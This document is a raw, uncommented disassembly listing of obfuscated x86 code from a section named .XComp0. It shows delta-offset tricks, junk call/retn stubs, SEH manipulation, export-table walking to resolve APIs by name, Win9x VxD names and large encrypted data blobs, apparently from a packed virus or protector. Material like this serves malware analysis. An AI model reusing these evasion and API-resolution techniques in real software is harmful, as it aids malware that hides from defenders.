loc_5A9178:				; CODE XREF: sub_5A9101+4Fj
		push	ecx
		sbb	[edx-26F17BD7h], edx
		hlt
; ---------------------------------------------------------------------------


loc_5A9180:				; CODE XREF: sub_5A9101+6Aj
		pop	edx
		pop	eax
		pop	eax
		mov	[ebp+5F91F15h],	ecx
		push	dword ptr [ebp+5F908D1h]
		mov	[ebp+5F912D5h],	edx
		lea	eax, [ebp+5FCC510h]
		clc
		call	eax
		mov	[ebp+5F9173Dh],	esi
		jmp	loc_5A9249
; ---------------------------------------------------------------------------
		cld
		mov	ebx, [esp+4+arg_4]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5FCDBC7h
		mov	eax, [ebp+5F92719h]
		mov	[ebp+5F908D1h],	eax
		mov	eax, [ebp+5F92109h]
		mov	[ebp+5F90A41h],	eax
		mov	eax, [ebp+5F90FC5h]
		mov	[ebp+5F907F5h],	eax
		mov	byte ptr [ebp+5F91899h], 0
		mov	dword ptr [ebp+5FCC6C9h], 0
		lea	eax, [ebp+5FCDC5Ch]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		dd 67BF6660h, 615AB623h, 88A0Fh, 810F0000h, 2, 6A6160h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 63E3EFC3h, 5DB58981h, 6005F932h, 27119589h, 0B58B05F9h
		dd 5F92A09h
; ---------------------------------------------------------------------------
		popa


loc_5A9249:				; CODE XREF: sub_5A9101+A3j
		mov	esp, 12FF74h
		mov	[ebp+5F92B4Dh],	edx
		pop	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5A9266
		and	[eax-3Dh], bl
sub_5A9101	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A9266	proc near		; CODE XREF: sub_5A9101+15Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5A9266	endp

; ---------------------------------------------------------------------------
		dw 0A57Eh
		dd 0EB1E9CF0h, 0DB3812D7h, 0F04C483h, 18Ch, 8529F800h
		dd 5F90B21h, 0DE861h, 482F0000h, 0BEA89317h, 96847119h
		dd 31678E8Ch, 0F913F1B5h, 7E95A05h, 0A6000000h,	3F66E4C4h
		dd 0C281C720h, 6376h, 0B268C88Bh, 8B000018h, 0CE958FAh
		dd 0B1000000h, 0AA5B9B83h, 53685F8Ah, 8B518B92h, 81B58B1Ah
		dd 8105F913h, 0A3E908C3h, 0F9B58B0Bh, 8105F918h, 93BEEFF3h
		dd 8D8D8B35h, 8105F908h, 29D87EC3h, 898D8918h, 8905F927h
		dd 83CF8B1Ah, 4A4A02EAh, 18799D29h, 0E88105F9h,	1, 1C850Fh
		dd 0BD8B0000h, 5F92849h, 1FE9h,	6CFF3C00h, 9E28C5D2h, 0D3E5DBEDh
		dd 914E07EEh, 0E9F9C060h, 0FFFFFF97h, 0DD6E473Fh, 0F706A9C5h
		dd 0BE8h, 0F222B700h, 213702FFh, 0AE268AFBh, 14E959h, 79810000h
		dd 0D5EEB148h, 0F79888F2h, 0D876BD4Dh, 0B39153BDh, 0C18127EEh
		dd 5911h, 0BBD1B70Fh, 6BE1DBA7h, 0CDABF381h, 14E86BE1h
		dd 5B000000h, 0FCEC5FEEh, 0DC5D8691h, 2A1A4A9Ch, 0A4E3E44h
		dd 0F5B045CCh, 8B398B5Ah, 0F913F1B5h, 0B1EF8105h, 8B100DB7h
		dd 8BF781D6h, 0E9672C27h, 0Bh, 0F6A22A30h, 0DE4F3A05h
		dd 81734561h, 0A1D42EEFh, 95958B3Ah, 5705F905h,	18F0AB0h
		dd 0D9F8D881h, 0E981438Dh, 602FDF1Ch, 81D0B70Fh, 2FDF18C1h
		dd 0FDBD0160h, 8305F90Fh, 850F01EBh, 1Eh, 75852352h, 5805F905h
		dd 29E9h, 0E0AEBB00h, 53678D6h,	0CD1E267Ah, 1EB2130Fh
		dd 8B571C21h, 0F9004995h, 7AE95805h, 2FFFFFFh, 0B98C77A8h
		dd 0E12B8DC5h, 83E965DAh, 53000000h, 57565251h,	1C245C8Bh
		dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h
		dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch,	74032473h, 8B561C24h
		dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h,	5C8B41FFh
		dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h
		dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh
		dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h,	0CA8BFFFFh
		dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h
		dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h
		dd 2020h, 2 dup(0)
		dd 0CDE90000h, 6A000007h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 9FDCC352h, 0F547AA3h
		dd 1684h, 11E900h, 7F930000h, 3D17526Ch, 8B9DC7B6h, 2CD0DAAAh
		dd 60634425h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	1AC35040h, 9C3546DEh, 0DEF985C7h, 5FCh,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0B71E10C3h, 850C151Ah, 860F0759h, 10h, 0BE9h, 304CD900h
		dd 0A731D200h, 0C1F284DDh, 8160C68Bh, 9AFA0FEFh, 0C1B70F3Dh
		dd 0D8B70F61h, 10E8C1F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 8AC35646h, 3A6CC78Fh,	11E9h, 59BC8D00h
		dd 997174A8h, 784EBC2Ch, 464AC0FEh, 0C166C0F9h,	6A08C8h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 570A3BC3h, 88099D4Dh, 17880FD9h, 0E9000000h,	12h, 35693DB0h
		dd 8D9617D5h, 0BC6FCD7Eh, 0AAFB01A3h, 8589F42Ah, 5FCDEFDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0ACC35545h
		dd 0A1322A20h, 8CBC166h, 40FB83F5h, 67850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 93F24EC3h, 8F0F6060h, 0
; ---------------------------------------------------------------------------
		mov	bh, cl
		popa
		popa
		lea	edi, [ebp+5FCDED1h]
		jns	loc_5A9697
		jl	loc_5A9697
		stc


loc_5A9697:				; CODE XREF: .XComp0:005A968Aj
					; .XComp0:005A9690j
		jmp	loc_5A9822
; ---------------------------------------------------------------------------
		pusha
		pusha
		jnp	$+6
		popa
		jnp	loc_5A96C0
		jmp	loc_5A96C0
; ---------------------------------------------------------------------------
		dd 0B54477D0h, 5376A614h, 489DB260h, 34ECD775h
; ---------------------------------------------------------------------------


loc_5A96C0:				; CODE XREF: .XComp0:005A96A5j
					; .XComp0:005A96ABj
		popa
		cmp	ebx, 0Dh
		jnz	loc_5A971F
		jmp	loc_5A96DB
; ---------------------------------------------------------------------------
		db 38h
		dd 34860686h, 0A12492Ch
		db 98h,	9, 0BDh
; ---------------------------------------------------------------------------


loc_5A96DB:				; CODE XREF: .XComp0:005A96CAj
		lea	edi, [ebp+5FCDED9h]
		push	0
		push	ebp
		call	sub_5A96EC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A96EC	proc near		; CODE XREF: .XComp0:005A96E4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5A96EC	endp

; ---------------------------------------------------------------------------
		dd 0CEC921F5h, 11DE9h, 14810F00h, 0E9000000h, 0Fh, 0ECB80B6Ah
		dd 73DC5A87h, 0D4CFF2D2h
		db 0A5h, 6Eh, 93h
; ---------------------------------------------------------------------------


loc_5A971F:				; CODE XREF: .XComp0:005A96C4j
		cmp	ebx, 1
		jnz	loc_5A97AA
		push	0
		push	eax
		call	sub_5A9733
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A9733	proc near		; CODE XREF: .XComp0:005A972Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5A9733	endp

; ---------------------------------------------------------------------------
		db 9Ch
		dd 3B500863h, 2A0F23Dh,	0BD8DF9C2h, 5FCDEE1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A1C35545h, 607C6623h
		dd 5D76405h, 816660C1h,	61D957CFh, 9BE9F5F8h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0CF53C352h, 4AC9050Fh
; ---------------------------------------------------------------------------
		stc
		cmc


loc_5A97AA:				; CODE XREF: .XComp0:005A9722j
		cmp	ebx, 2Ah
		jnz	loc_5A97E0
		cld
		lea	edi, [ebp+5FCDEE9h]
		jp	loc_5A97CF
		jmp	loc_5A97CF
; ---------------------------------------------------------------------------
		db 79h,	0D4h, 0BFh
; ---------------------------------------------------------------------------
		sbb	al, 0ACh
		mov	al, ds:372C1A7Ch


loc_5A97CF:				; CODE XREF: .XComp0:005A97BAj
					; .XComp0:005A97C0j
		jmp	loc_5A9822
; ---------------------------------------------------------------------------
		js	loc_5A97E0
		pusha
		pusha
		popa
		mov	cl, 56h
		popa


loc_5A97E0:				; CODE XREF: .XComp0:005A97ADj
					; .XComp0:005A97D4j
		cmp	ebx, 27h
		jnz	loc_5A9B04
		jmp	loc_5A97FD
; ---------------------------------------------------------------------------
		dw 4351h
		dd 0EA6C57E3h, 0BD1DF00Ch, 0F31FC306h
; ---------------------------------------------------------------------------
		cmc


loc_5A97FD:				; CODE XREF: .XComp0:005A97E9j
		lea	edi, [ebp+5FCDEF1h]
		push	0
		push	ebp
		call	sub_5A980E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A980E	proc near		; CODE XREF: .XComp0:005A9806p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5A980E	endp

; ---------------------------------------------------------------------------
		inc	edi
		inc	dword ptr [ecx-4]


loc_5A9822:				; CODE XREF: .XComp0:loc_5A9697j
					; .XComp0:loc_5A97CFj
		mov	[ebp+5FCDF01h],	edi
		push	0
		push	esi
		call	sub_5A9833
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A9833	proc near		; CODE XREF: .XComp0:005A982Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5A9833	endp

; ---------------------------------------------------------------------------
		db 26h
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		jmp	loc_5A985B
; ---------------------------------------------------------------------------
		dw 71A8h
		dd 0BCDE5065h, 0C1E53180h, 2AD3211Fh
		db 83h,	4Ah, 7
; ---------------------------------------------------------------------------


loc_5A985B:				; CODE XREF: .XComp0:005A9845j
		stc
		mov	ax, cs
		push	0
		push	ecx
		call	sub_5A986A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A986A	proc near		; CODE XREF: .XComp0:005A9862p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5A986A	endp

; ---------------------------------------------------------------------------
		dw 0B914h
		dd 0F10A3FDh, 1682h, 11E900h, 0C1A0000h, 0CD759E00h, 5C390474h
		dd 0BBAE246Eh, 2472BC90h, 0AE903h, 1BEA0000h, 0DA0BDC52h
		dd 35DB9D57h, 850FC00Ah, 1D1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0B0C35545h,	9AEA8A67h, 2DB6B379h
		dd 7E9F9F9h, 0A2000000h, 9209E79Eh, 0B58DE239h,	5FCE58Bh
		dd 8E9h, 2DFDAB00h, 5AAF332Eh, 53858B74h, 6A05FCE6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0A4FDC355h, 604D46A6h, 13E9E28Ah, 9F000000h,	81F10A85h
		dd 93CF64Bh, 0E49E6129h, 5E7C44A0h, 506189E2h, 16810Fh
		dd 52500000h, 9E9h, 5795B400h, 0C74E25FEh, 310F7FA5h, 585A6160h
		dd 60241489h, 14850Fh, 0FE90000h, 0FA000000h, 0AC03B3B4h
		dd 2063F439h, 5EF6ED3Bh, 24BF1F74h, 61284FB2h, 244C010Fh
		dd 605AFCFEh, 0F616060h, 5761CBB7h, 5BC18B66h, 0CB816061h
		dd 364A3A67h, 0D0B70F60h, 61616160h, 6A24C283h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 5693C356h, 0D98B6660h, 6661C68Bh, 6AFC7289h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 9EBCC355h, 0CEC1F959h, 0DF8B6010h, 88B3B866h, 8966F561h
		dd 6A0272h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E04731C3h, 50869A29h, 6A04CDh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 60D992C3h
		dd 0F999EBB8h, 0A1E9h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 2FF19066h, 5480BA60h
		dd 0E95011C4h, 13h, 2ABBD854h, 7A01C09Bh, 8EE3A1Ah, 584358F5h
		dd 5B369811h, 53858B61h, 0F905FCE6h, 0E58BB58Dh, 830F05FCh
		dd 8, 2830Fh, 61600000h, 8938858Dh, 0FFF805FCh,	53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0E0306CC5h, 0FD39078h, 1581h, 10E900h, 0CB2A0000h, 0D1D015B6h
		dd 5F77219Bh, 3FDAA33Fh, 85899734h, 5FCDEF9h, 13E9h, 0A6A7B400h
		dd 0B973D957h, 170D90D2h, 0AA98E5FEh, 0EDA6DDA9h
; ---------------------------------------------------------------------------


loc_5A9B04:				; CODE XREF: .XComp0:005A97E3j
		popa
		push	0
		push	edi
		call	sub_5A9B10
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A9B10	proc near		; CODE XREF: .XComp0:005A9B08p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5A9B10	endp

; ---------------------------------------------------------------------------
		dd 0F331C625h, 0F8D7C4E7h, 0DEF9858Bh, 8C0F05FCh, 5, 0C1BF0F60h
		dd 6AC361h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0AED871C3h, 46D819E7h, 0F216D9Fh,	1386h
		dd 0EE900h, 49B00000h, 50D327FEh, 0D97E01DCh, 8C27D1C4h
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 19A60174h, 0B54C2C09h, 10E92Ch, 92420000h
		dd 38D464E4h, 6493F3BDh, 0DC32C795h, 9E94DEBh, 0B000000h
		dd 0F7221AD2h, 0BB066577h, 0E653BD83h, 0F0005FCh, 3F85h
		dd 13E86000h, 99000000h, 8EBF973h, 0F60D09C8h, 0AB7C5FBEh
		dd 88E40604h, 0E95A39AAh, 13h, 304330A5h, 46D92011h, 295F51CEh
		dd 9E5CC9EFh, 6194A8F9h, 5385C7F8h, 3F05FCE6h, 0F8000101h
		dd 2DE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8F0F252Eh, 9, 66585760h, 0FA1AE681h
		dd 20CDF561h, 0
; ---------------------------------------------------------------------------


loc_5A9C44:				; CODE XREF: .XComp0:005A9C7Dj
		or	eax, eax
		jz	short loc_5A9C7F
		lea	esi, [eax+0Ch]
		mov	edi, [ebp+5FCDF01h]
		mov	ecx, 8


loc_5A9C56:				; CODE XREF: .XComp0:005A9C5Aj
		cmpsb
		jnz	short loc_5A9C7B
		dec	ecx
		jnz	short loc_5A9C56
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+5FCDEFDh]
		cmp	ebx, [eax+34h]
		jg	short loc_5A9C7F
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+5FCDEF9h],	eax
		jmp	short loc_5A9C7F
; ---------------------------------------------------------------------------


loc_5A9C7B:				; CODE XREF: .XComp0:005A9C57j
		mov	eax, [eax]
		jmp	short loc_5A9C44
; ---------------------------------------------------------------------------


loc_5A9C7F:				; CODE XREF: .XComp0:005A9C46j
					; .XComp0:005A9C68j ...
		popa
		mov	eax, [ebp+5FCDEF9h]
		iret
; ---------------------------------------------------------------------------
		jnz	loc_5A9C94
		pusha
		push	ecx
		pop	eax
		movsx	esi, ax
		popa


loc_5A9C94:				; CODE XREF: .XComp0:005A9C87j
		push	0
		push	ecx
		call	sub_5A9C9F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A9C9F	proc near		; CODE XREF: .XComp0:005A9C97p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5A9C9F	endp

; ---------------------------------------------------------------------------
		db 4Ch
		dd 0C6687C2Eh, 0E90B045Eh, 8, 0DF939CD3h, 0F4F46CC9h, 12E8C08Bh
		dd 7C000000h, 11598741h, 0BB52E8AFh, 93B53D64h,	0E5095046h
		dd 8B5BF969h, 9BC381CEh, 56000063h, 81616060h, 0CF235FE0h
		dd 6859616Fh, 18C2h, 7C18166h, 0AE95ECCh, 0EC000000h, 0C75F8F12h
		dd 0CC59E83Ch, 0BA3B8BC2h, 3DB55880h, 0EBFEF81h, 8B66176Fh
		dd 0EF81CBh, 8A4D2B16h,	8BC781D4h, 0F7C5DB2h, 108Fh, 0F48A6000h
		dd 7E9h, 0CB1AF500h, 8F920FC6h,	0B70F5761h, 0F8038FCAh
		dd 0C6FBEB81h, 0D08B4E6Dh, 0C6F7C381h, 0F5804E6Dh, 1EE839Bh
		dd 0FFAB850Fh, 48E9FFFFh, 70000001h, 74000000h,	78000000h
		dd 7C000000h, 80000000h, 84000000h, 88000000h, 8C000000h
		dd 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h
		dd 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h, 0F4000000h
		dd 0F8000000h, 0FC000000h, 0
		dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0)
		dd 0C7000000h, 3005A9Dh, 8D00B3C2h, 0FCE77A85h,	13E805h
		dd 1AC00000h, 43B5ED28h, 865B6767h, 558EAA77h, 0EBB1EFC1h
		dd 5D8D8B80h, 5F05F92Eh, 6DEEB966h, 0E8BA8589h,	896005FCh
		dd 0F92025BDh, 800F05h,	61000000h, 189985C6h, 605405F9h
		dd 14E9h, 274AA300h, 190CC9BFh,	2C055847h, 633E7308h, 0D2CB56F2h
		dd 2880FDAh, 0B2000000h, 116861C5h, 81BEAB2Fh, 47382434h
		dd 0BD8B50C9h, 5F90849h, 0B5FFD68Bh, 5F908D1h, 0A618D8Bh
		dd 858D05F9h, 5FCC510h,	8956D0FFh, 0F9065595h, 85895E05h
		dd 5FCE8BEh, 108E0Fh, 0BE90000h, 0A4000000h, 5BD874A1h
		dd 9F1C80F1h, 858993E3h, 5F90DA1h, 3DE9h, 0F18B6600h, 0BAB58B56h
		dd 8905FCE8h, 0BA858306h, 405FCE8h, 8D60C35Eh, 0FCE77AB5h
		dd 560FEB05h, 36FF006Ah, 0E8BE95FFh, 835E05FCh,	3E8304C6h
		dd 61EC7500h, 0C9BF0FC3h, 2AE9B58Bh, 858D05F9h,	5FCE995h
		dd 6FA575BAh, 0E1858979h, 0E905F907h, 0ECh, 2ECCA6C4h
		dd 8A055C97h, 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh
		dd 171E577Dh, 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h
		dd 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh
		dd 20602060h, 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h
		dd 28602060h, 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h
		dd 7192B8E3h, 0B9E9B3F4h, 2060F76Dh, 20602060h,	0F7202060h
		dd 351ADF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
		dd 2D773D55h, 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h
		dd 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h, 5D340700h
		dd 59A0A3D2h, 1Eh, 0
; ---------------------------------------------------------------------------
		jmp	loc_5AB1B3
; ---------------------------------------------------------------------------
		push	5FCEE9Bh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF022h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF14Fh
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF287h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF359h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF417h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF597h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF6B3h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF7F9h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCF8F1h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		push	5FCFA06h
		jmp	loc_5734FA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 83629A77h, 6590B45Bh, 795C8083h, 688FB550h, 0C3618384h
		dd 5EA9114Eh, 6E9D3FA6h, 5DAC0FB6h, 6E9F40A7h, 0B06B0CB6h
		dd 23999ACDh, 8CE3A54Ah, 0E099BA63h, 5D299685h,	0C56469A0h
		dd 7677943Ah, 7A6493A3h, 84646891h, 0F089CA45h,	6D299665h
		dd 142A5CB0h, 0A439B244h, 35D2FA05h, 0B645E9C0h, 0C01BC4A8h
		dd 0FA1FEA1Bh, 92DE0FDh, 58AD3B2Fh, 326EC1C3h, 28D11801h
		dd 48A8298Fh, 0DE8B02C7h, 0FA0CFBF6h, 59FDDD35h, 0FB633FDCh
		dd 28D12F8Eh, 9CBF92EBh, 0FC120F23h, 81FC17F4h,	0FE239CBFh
		dd 24C5C801h, 3BDB329Bh, 42FA13BCh, 0F6F0DAE5h,	640CEFF1h
		dd 6E5FAA56h, 26ED90CBh, 0BD6A239Dh, 0AA13E274h, 95E17263h
		dd 7E239D26h, 21F3BBA7h, 0FA44A087h, 83728422h,	6EDE965Ah
		dd 0BEC964D7h, 0E821E81Dh, 0C701D334h, 39B3446Fh, 23CC2BCBh
		dd 1DC013B8h, 0F9B025ECh, 0AA2BE0FEh, 0DFF3AEFh, 0BD70E883h
		dd 957457E0h, 8831BA5Ch, 2367B684h, 0FF0F3CB5h,	0E10CCFF0h
		dd 78ECE128h, 729338BFh, 559B789Ah, 0E90D8F53h,	0D722CC1Ah
		dd 9D3F413Ch, 2DC1BE23h, 38EC21BEh, 506E8CFh, 0F320D990h
		dd 239D3F8Ah, 0FF41A07h, 48D61B5Dh, 19CCA329h, 8D89E7DBh
		dd 7BABD69h, 8C870000h,	32218D63h, 7A48BCAh, 0D4D92A90h
		dd 20C9CC05h, 3DA23397h, 0C50CDDD0h, 3F9E19D0h,	16C3CAh
		dd 0C251CCF1h, 299654B7h, 57824734h, 1E8F8060h,	0D991AB4Bh
		dd 13EE134Fh, 30CB44ACh, 2996544Dh, 0F8EE15C3h,	0F34EEB0Bh
		dd 546C0D4Eh, 3CE92996h, 860B371Ah, 0CFFE2F8Fh,	5EB61EEDh
		dd 3FBF17FEh, 0AF25DC15h, 833F6270h, 0DC052970h, 9C904237h
		dd 0EB1CC023h, 2CDFFDEAh, 0FCEA21A9h, 0D8211622h, 9C90423Bh
		dd 2CC2BF23h, 2BC581CDh, 0FB48D6ACh, 0A72ED704h, 0A1A3A2D5h
		dd 4980E568h, 5879A5h, 0FFCB0000h, 31083169h, 96855722h
		dd 727D429h, 9841E92Ah,	20972F8Fh, 90494CBDh, 7A99767Eh
		dd 239D72FFh, 434A7F7Ch, 9D72B9C0h, 2D9F9823h, 20CB30D3h
		dd 7D4E03E9h, 7561A0B6h, 0AAD380B9h, 27239D3Ch,	0BD2FD47Ah
		dd 7A48D614h, 188h, 20D74FC5h, 572DAF90h, 638C81B7h, 984423AAh
		dd 8D2DCA6Fh, 90A6737Ah, 9E6F5057h, 966F5C63h, 3BA44A1Fh
		dd 0B25D817Eh, 9D704D9Ch, 9635C267h, 0FA70E373h, 0D8299689h
		dd 16EEEBF4h, 39DDE4F5h, 44F815BAh, 3B9F3CA1h, 0D910C9CCh
		dd 44AA15D4h, 1CEDD0C7h, 0B2F86EFAh, 9595D8A1h,	58765529h
		dd 8EB37EB3h, 8EBE91CDh, 0A8D7F2Fh, 21EAD424h, 3917FDACh
		dd 6B93A3C5h, 84EC8DCEh, 7B62239Ch, 6C52078Eh, 65C27AAFh
		dd 7963725Ah, 83565792h, 3961F773h, 5F1A3900h, 0D5239C84h
		dd 0CD9C11F4h, 37D4FAD9h, 710C47F2h, 0EE239C84h, 0E9101D31h
		dd 0F41AEFCEh, 9877A851h, 74576029h, 0E3FF1678h, 3F8A7DB2h
		dd 837B9B4Eh, 3E390269h, 0A1195C1Dh, 0C82CD91Dh, 8B46EF30h
		dd 0D70AB56h, 8A1DA0E0h, 0C6B7649Dh, 431DA0DFh,	7C83B046h
		dd 0A3668550h, 0BF61B36Eh, 0E5708C21h, 0FB68096h, 6B536CABh
		dd 95E697A4h, 89631DA0h, 0FAD27A09h, 60A960E3h,	0F2A4E793h
		dd 231223BEh, 0C7Ch, 0A143CEF1h, 0CF759A36h, 9B41C228h
		dd 0CE768F3Ch, 0A044C327h, 6C500F82h, 607E699Bh, 6F4E79ABh
		dd 5A83629Ah, 966391B3h, 9997F485h, 3CFC7123h, 9CB7608Ch
		dd 299685E1h, 0B168A15Eh, 6D60A546h, 12E758BCh,	935AC752h
		dd 7C50B983h, 671449F5h, 65886FD6h, 0D67831A4h,	0FC3AB617h
		dd 0F889980h, 0FCAB360h, 5A472996h, 8CA25A8Fh, 124169FFh
		dd 29968567h, 47F237E4h, 55F90AB0h, 0DFD821D8h,	0D0890CFBh
		dd 96853A43h, 39DAB729h, 29968540h, 8E09C0BDh, 1437D72Ch
		dd 2F8F981Ah, 79329C70h, 9EAF469Fh, 5E838078h, 0BCBD5EA3h
		dd 39239D7Eh, 7ECEAF4Ch, 5E4B239Dh, 1D907B61h, 9241AA4Ch
		dd 239D7EE3h, 0E8977DC2h, 5E82D7D1h, 99C534DAh,	0D61A33ADh
		dd 0FEF448h, 0F2470000h, 9D321861h, 46E89523h, 0AA638CF0h
		dd 58E8623h, 2B4E0DBBh,	0A829966Bh, 0F73519FBh,	0F70D70ABh
		dd 9D8A2995h, 8733C254h, 0E3A24463h, 7BB6D08Eh,	0FE5DAF7Ah
		dd 10A94DC3h, 6EFC4FDFh, 0A2995F5h, 0D1F428E5h,	3EAC21ECh
		dd 45C772A8h, 0BB295A9h, 0BA779727h, 0E099BA7Fh, 5D299646h
		dd 0A7BB8EA0h, 952F8F6Fh, 1DCEAF6Ch, 0D586239Dh, 239D1DA4h
		dd 85826421h, 689C8971h, 759638BFh, 0C71385E1h,	0DE70112h
		dd 99862999h, 97765760h, 86B34316h, 95C65179h, 1DA12CE4h
		dd 0B76DA461h, 805BAC10h, 0BEF24FCCh, 0F53A3B34h, 6A00000Ah
		dd 73528A87h, 0B520C44Bh, 0A94CF013h, 0B81FC540h, 0F351F314h
		dd 2ED901BEh, 1EEDCFF6h, 2DDCFFE6h, 1EEFD0F7h, 203BFCE6h
		dd 2399955Dh, 8CD375DAh, 0B6597560h, 0C11EC97Bh, 0BB21B01Ah
		dd 45149950h, 846A558Ch, 0B8C15287h, 35299685h,	0B28CA648h
		dd 95E873CEh, 0B299685h, 0F3A627DEh, 0F1001613h, 0B7C251CCh
		dd 34299685h, 60578247h, 56038A7Bh, 9F4027C0h, 8077903Ch
		dd 6B3EAF60h, 1E997EA6h, 0ABA549BEh, 9FE670E7h,	4189733Eh
		dd 0F18CC7A9h, 6E299658h, 88B178B1h, 38BD4C6Fh,	0B360CD61h
		dd 2F8F715Fh, 1EEBD2EDh, 0C42CC297h, 0F40B2ED7h, 9C4D40C9h
		dd 0B4CCD77Ah, 0FF692265h, 59817EA3h, 70AB88AEh, 2ACDD5DAh
		dd 6DC614F8h, 61F4BBF3h, 0C17825CDh, 81749936h,	0CD5D86A8h
